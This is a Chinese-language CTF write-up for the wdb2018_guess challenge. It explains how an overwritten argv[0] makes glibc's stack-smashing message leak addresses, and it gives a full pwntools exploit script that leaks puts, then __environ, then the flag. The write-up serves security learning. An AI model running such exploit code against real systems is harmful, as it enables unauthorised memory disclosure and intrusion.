Limu
Articles10
Tags3
Categories0
Canary专题

Canary专题

SP1 利用stack smashing detected

例题:wdb2018_guess
注:本题目使用libc-2.23.so的libc,使用其他或者高版本的libc是无效的,建议使用patchelf修改libc

题目思路

本题有canary,存在fget函数读取任意长度字符串造成的栈溢出的问题,考虑到canary检查不符合的时候引起程序的crash后,会打印程序名,而程序名作为arg[0],存在于stack上,故,可以考虑覆盖arg[0],实现泄露任意地址,然后通过计算flag的相对偏移,通过smash打印出flag的内容。

泄露程序名./pwn

流程

1、通过覆盖arg[0]为puts的got表地址,获得程序的基础偏移
2、通过覆盖arg[0]为__enviorn的地址,获得栈地址(enviorn 是环境变量表,里面包含栈地址)
3、通过覆盖arg[0]为flag的地址,获得flag,(计算flag相对与栈的位置)

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
##Author by: limu
##Terminal: i3
##Tools: pwntools
##Usage: python3 exp.py [local or remote] [yes or no] ip port

from pwn import *
from LibcSearcher import *
import sys
context.log_level = "debug"
context.terminal = ['i3-sensible-terminal',"-e"]
context.arch = 'amd64'
elf = ELF('./pwn')

if sys.argv[1] == 'l':
p = process("./pwn")

elif sys.argv[1] == 'r':
p = remote(sys.argv[3],sys.argv[4])

else:
print("wrong")
sys.exit()

##启动调试
if sys.argv[2] == 'y':
gdb.attach(p,gdbscript='break main')
pause()

#libc = ELF('./libc.so.6')

p.sendlineafter(b'lease type your guessing flag', b'a'*0x128+p64(elf.got['puts']))
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

libc = LibcSearcher('puts',puts)
base = puts - libc.dump('puts')

environ_addr= base + libc.dump('__environ')
p.sendlineafter(b'lease type your guessing flag', b'a' * 0x128 + p64(environ_addr))
stack_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

p.sendlineafter(b'lease type your guessing flag', b'a' * 0x128 + p64(stack_addr-360))

p.interactive()

Author:Limu
Link:https://limu.ltd/2023/03/23/Canary%E4%B8%93%E9%A2%98/
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可
×